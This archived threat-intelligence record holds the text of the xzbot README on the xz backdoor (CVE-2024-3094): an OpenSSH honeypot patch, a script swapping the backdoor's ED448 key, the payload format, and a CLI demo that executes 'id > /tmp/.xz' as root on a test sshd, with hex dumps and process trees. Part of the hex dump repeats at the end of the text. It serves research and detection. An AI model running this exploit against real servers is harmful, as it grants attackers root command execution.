{
	"id": "2b607983-f1ed-438b-a042-07dad68131e4",
	"created_at": "2026-04-06T00:12:06.140705Z",
	"updated_at": "2026-04-10T13:11:30.998232Z",
	"deleted_at": null,
	"sha1_hash": "508507960936c589975d54541e73a09c82aeb4d1",
	"title": "GitHub - amlweems/xzbot: notes, honeypot, and exploit demo for the xz backdoor (CVE-2024-3094)",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 321290,
	"plain_text": "GitHub - amlweems/xzbot: notes, honeypot, and exploit demo for\r\nthe xz backdoor (CVE-2024-3094)\r\nBy amlweems\r\nArchived: 2026-04-05 13:52:12 UTC\r\nExploration of the xz backdoor (CVE-2024-3094). Includes the following:\r\nhoneypot: fake vulnerable server to detect exploit attempts\r\ned448 patch: patch liblzma.so to use our own ED448 public key\r\nbackdoor format: format of the backdoor payload\r\nbackdoor demo: cli to trigger the RCE assuming knowledge of the ED448 private key\r\nhoneypot\r\nhttps://github.com/amlweems/xzbot\r\nPage 1 of 5\n\nSee openssh.patch for a simple patch to openssh that logs any connection attempt with a public key N matching\r\nthe backdoor format.\r\n$ git clone https://github.com/openssh/openssh-portable\r\n$ patch -p1 \u003c ~/path/to/openssh.patch\r\n$ autoreconf\r\n$ ./configure\r\n$ make\r\nAny connection attempt will appear as follows in sshd logs:\r\n$ journalctl -u ssh-xzbot --since='1d ago' | grep xzbot:\r\nMar 30 00:00:00 honeypot sshd-xzbot[1234]: xzbot: magic 1 [preauth]\r\nMar 30 00:00:00 honeypot sshd-xzbot[1234]: xzbot: 010000000100000000000000000000005725B22ED2...\r\ned448 patch\r\nThe backdoor uses a hardcoded ED448 public key for signature validation and decrypting the payload. If we\r\nreplace this key with our own, we can trigger the backdoor.\r\nThe attacker's ED448 key is:\r\n0a 31 fd 3b 2f 1f c6 92 92 68 32 52 c8 c1 ac 28\r\n34 d1 f2 c9 75 c4 76 5e b1 f6 88 58 88 93 3e 48\r\n10 0c b0 6c 3a be 14 ee 89 55 d2 45 00 c7 7f 6e\r\n20 d3 2c 60 2b 2c 6d 31 00\r\nWe will replace this key with our own (generated with seed=0):\r\n5b 3a fe 03 87 8a 49 b2 82 32 d4 f1 a4 42 ae bd\r\ne1 09 f8 07 ac ef 7d fd 9a 7f 65 b9 62 fe 52 d6\r\n54 73 12 ca ce cf f0 43 37 50 8f 9d 25 29 a8 f1\r\n66 91 69 b2 1c 32 c4 80 00\r\nTo start, download a backdoored libxzma shared object, e.g. from https://snapshot.debian.org/package/xz-utils/5.6.1-1. Then run the patch script. See assets/ for examples.\r\n$ pip install pwntools\r\n$ shasum -a 256 liblzma.so.5.6.1\r\n605861f833fc181c7cdcabd5577ddb8989bea332648a8f498b4eef89b8f85ad4 liblzma.so.5.6.1\r\n$ python3 patch.py liblzma.so.5.6.1\r\nPatching func at offset: 0x24470\r\nGenerated patched so: liblzma.so.5.6.1.patch\r\nhttps://github.com/amlweems/xzbot\r\nPage 2 of 5\n\nThen run sshd using this modified liblzma.so.5.6.1.patch shared object.\r\nbackdoor format\r\nThe backdoor can be triggered by connecting with an SSH certificate with a payload in the CA signing key N\r\nvalue. This payload must be encrypted and signed with the attacker's ED448 key.\r\nThe structure has the following format:\r\n+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\r\n| a (32 bit) | b (32 bit) | c (64 bit) |\r\n+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\r\n| |\r\n+ ciphertext (240 bytes) +\r\n| |\r\n+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\r\nA request type is derived from the three values above ( a * b + c ). If this value is greater than 3, the backdoor\r\nskips processing.\r\nType 1: unknown, expects zero bytes\r\nType 2: executes null-terminated payload with system()\r\nType 3: unknown, expects 48 bytes (signed)\r\nThe ciphertext is encrypted with chacha20 using the first 32 bytes of the ED448 public key as a symmetric key. As\r\na result, we can decrypt any exploit attempt using the following key:\r\n0a 31 fd 3b 2f 1f c6 92 92 68 32 52 c8 c1 ac 28\r\n34 d1 f2 c9 75 c4 76 5e b1 f6 88 58 88 93 3e 48\r\nThe ciphertext has the following format:\r\n+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\r\n| signature (114 bytes) |\r\n+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\r\n| x (1 bit) | unused ? (14 bit) | y (1 bit) |\r\n+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\r\n| unknown (8 bit) | length (8 bit) |\r\n+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\r\n| unknown (8 bit) | command \\x00 |\r\n+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\r\nSetting either x or y leads to slightly different code paths.\r\nThe signature is an RFC-8032 ED448 signature computed over the following values:\r\nhttps://github.com/amlweems/xzbot\r\nPage 3 of 5\n\nThe 32-bit magic value (e.g. 02 00 00 00 )\r\nThe 5 bytes of fields before command\r\n[optional] length bytes of the command\r\nThe first 32 bytes of the sha256 hash of the server's hostkey\r\nbackdoor demo\r\n$ go install github.com/amlweems/xzbot@latest\r\n$ xzbot -h\r\nUsage of xzbot:\r\n -addr string\r\n ssh server address (default \"127.0.0.1:2222\")\r\n -seed string\r\n ed448 seed, must match xz backdoor key (default \"0\")\r\n -cmd string\r\n command to run via system() (default \"id \u003e /tmp/.xz\")\r\nThe following will connect to a vulnerable SSH server at 127.0.0.1:2222 and run the command id \u003e\r\n/tmp/.xz :\r\n$ xzbot -addr 127.0.0.1:2222 -cmd 'id \u003e /tmp/.xz'\r\n00000000 00 00 00 1c 73 73 68 2d 72 73 61 2d 63 65 72 74 |....ssh-rsa-cert|\r\n00000010 2d 76 30 31 40 6f 70 65 6e 73 73 68 2e 63 6f 6d |-v01@openssh.com|\r\n00000020 00 00 00 00 00 00 00 03 01 00 01 00 00 01 01 01 |................|\r\n00000030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|\r\n...\r\n00000150 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|\r\n00000160 00 00 01 14 00 00 00 07 73 73 68 2d 72 73 61 00 |........ssh-rsa.|\r\n00000170 00 00 01 01 00 00 01 00 02 00 00 00 01 00 00 00 |................|\r\n00000180 00 00 00 00 00 00 00 00 54 97 bc c5 ef 93 e4 24 |........T......$|\r\n00000190 cf b1 57 57 59 85 52 fd 41 2a a5 54 9e aa c6 52 |..WWY.R.A*.T...R|\r\n000001a0 58 64 a4 17 45 8a af 76 ce d2 e3 0b 7c bb 1f 29 |Xd..E..v....|..)|\r\n000001b0 2b f0 38 45 3f 5e 00 f1 b0 00 15 84 e7 bc 10 1f |+.8E?^..........|\r\n000001c0 0f 5f 50 36 07 9f bd 07 05 77 5c 74 84 69 c9 7a |._P6.....w\\t.i.z|\r\n000001d0 28 6b e8 16 aa 99 34 bf 9d c4 c4 5c b8 fd 4a 3c |(k....4....\\..J\u003c|\r\n000001e0 d8 2b 39 32 06 d9 4f a4 3a 00 d0 0b 0f a2 21 c0 |.+92..O.:.....!.|\r\n000001f0 86 c3 c9 e2 e6 17 b4 a6 54 ba c3 a1 4c 40 91 be |........T...L@..|\r\n00000200 91 9a 2b f8 0b 18 61 1c 5e e1 e0 5b e8 00 00 00 |..+...a.^..[....|\r\n00000210 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|\r\n...\r\n00000260 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|\r\n00000270 00 00 00 00 00 00 00 00 00 00 00 10 00 00 00 07 |................|\r\nhttps://github.com/amlweems/xzbot\r\nPage 4 of 5\n\n00000280 73 73 68 2d 72 73 61 00 00 00 01 00 |ssh-rsa.....|\r\n2024/03/30 00:00:00 ssh: handshake failed: EOF\r\nOn the vulnerable server, we can set a watchpoint for the call to system() and observe the command is executed:\r\n$ bpftrace -e 'watchpoint:0x07FFFF74B1995:8:x {\r\n printf(\"%s (%d): %s\\n\", comm, pid, str(uptr(reg(\"di\"))))\r\n}'\r\nAttaching 1 probe...\r\nsshd (1234): id \u003e /tmp/.xz\r\n$ cat /tmp/.xz\r\nuid=0(root) gid=0(root) groups=0(root)\r\nThe process tree after exploitation looks different from a normal sshd process tree:\r\n# normal process tree\r\n$ ssh foo@bar\r\n$ ps -ef --forest\r\nroot 765 1 0 17:58 ? 00:00:00 sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups\r\nroot 1026 765 7 18:51 ? 00:00:00 \\_ sshd: foo [priv]\r\nfoo 1050 1026 0 18:51 ? 00:00:00 \\_ sshd: foo@pts/1\r\nfoo 1051 1050 0 18:51 pts/1 00:00:00 \\_ -bash\r\n# backdoor process tree\r\n$ xzbot -cmd 'sleep 60'\r\n$ ps -ef --forest\r\nroot 765 1 0 17:58 ? 00:00:00 sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups\r\nroot 941 765 4 18:04 ? 00:00:00 \\_ sshd: root [priv]\r\nsshd 942 941 0 18:04 ? 00:00:00 \\_ sshd: root [net]\r\nroot 943 941 0 18:04 ? 00:00:00 \\_ sh -c sleep 60\r\nroot 944 943 0 18:04 ? 00:00:00 \\_ sleep 60\r\nNote: successful exploitation does not generate any INFO or higher log entries.\r\nReferences\r\nhttps://www.openwall.com/lists/oss-security/2024/03/29/4\r\nhttps://gist.github.com/smx-smx/a6112d54777845d389bd7126d6e9f504\r\nhttps://gist.github.com/q3k/af3d93b6a1f399de28fe194add452d01\r\nhttps://gist.github.com/keeganryan/a6c22e1045e67c17e88a606dfdf95ae4\r\nSource: https://github.com/amlweems/xzbot\r\nhttps://github.com/amlweems/xzbot\r\nPage 5 of 5\n\n/tmp/.xz : $ xzbot -addr 127.0.0.1:2222 -cmd 'id \u003e /tmp/.xz'  \n00000000 00 00 00 1c 73 73 68 2d 72 73 61 2d 63 65 72 74 |....ssh-rsa-cert|\n00000010 2d 76 30 31 40 6f 70 65 6e 73 73 68 2e 63 6f 6d |-v01@openssh.com|\n00000020 00 00 00 00 00 00 00 03 01 00 01 00 00 01 01 01 |................|\n00000030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|\n...    \n00000150 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|\n00000160 00 00 01 14 00 00 00 07 73 73 68 2d 72 73 61 00 |........ssh-rsa.|\n00000170 00 00 01 01 00 00 01 00 02 00 00 00 01 00 00 00 |................|\n00000180 00 00 00 00 00 00 00 00 54 97 bc c5 ef 93 e4 24 |........T......$|\n00000190 cf b1 57 57 59 85 52 fd 41 2a a5 54 9e aa c6 52 |..WWY.R.A*.T...R|\n000001a0 58 64 a4 17 45 8a af 76 ce d2 e3 0b 7c bb 1f 29 |Xd..E..v....|..)|\n000001b0 2b f0 38 45 3f 5e 00 f1 b0 00 15 84 e7 bc 10 1f |+.8E?^..........|\n000001c0 0f 5f 50 36 07 9f bd 07 05 77 5c 74 84 69 c9 7a |._P6.....w\\t.i.z|\n000001d0 28 6b e8 16 aa 99 34 bf 9d c4 c4 5c b8 fd 4a 3c |(k....4....\\..J\u003c|\n000001e0 d8 2b 39 32 06 d9 4f a4 3a 00 d0 0b 0f a2 21 c0 |.+92..O.:.....!.|\n000001f0 86 c3 c9 e2 e6 17 b4 a6 54 ba c3 a1 4c 40 91 be |........T...L@..|\n00000200 91 9a 2b f8 0b 18 61 1c 5e e1 e0 5b e8 00 00 00 |..+...a.^..[....|\n00000210 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|\n...    \n00000260 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|\n00000270 00 00 00 00 00 00 00 00 00 00 00 10 00 00 00 07 |................|\n   Page 4 of 5",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia"
	],
	"origins": [
		"web"
	],
	"references": [
		"https://github.com/amlweems/xzbot"
	],
	"report_names": [
		"xzbot"
	],
	"threat_actors": [],
	"ts_created_at": 1775434326,
	"ts_updated_at": 1775826690,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/508507960936c589975d54541e73a09c82aeb4d1.pdf",
		"text": "https://archive.orkl.eu/508507960936c589975d54541e73a09c82aeb4d1.txt",
		"img": "https://archive.orkl.eu/508507960936c589975d54541e73a09c82aeb4d1.jpg"
	}
}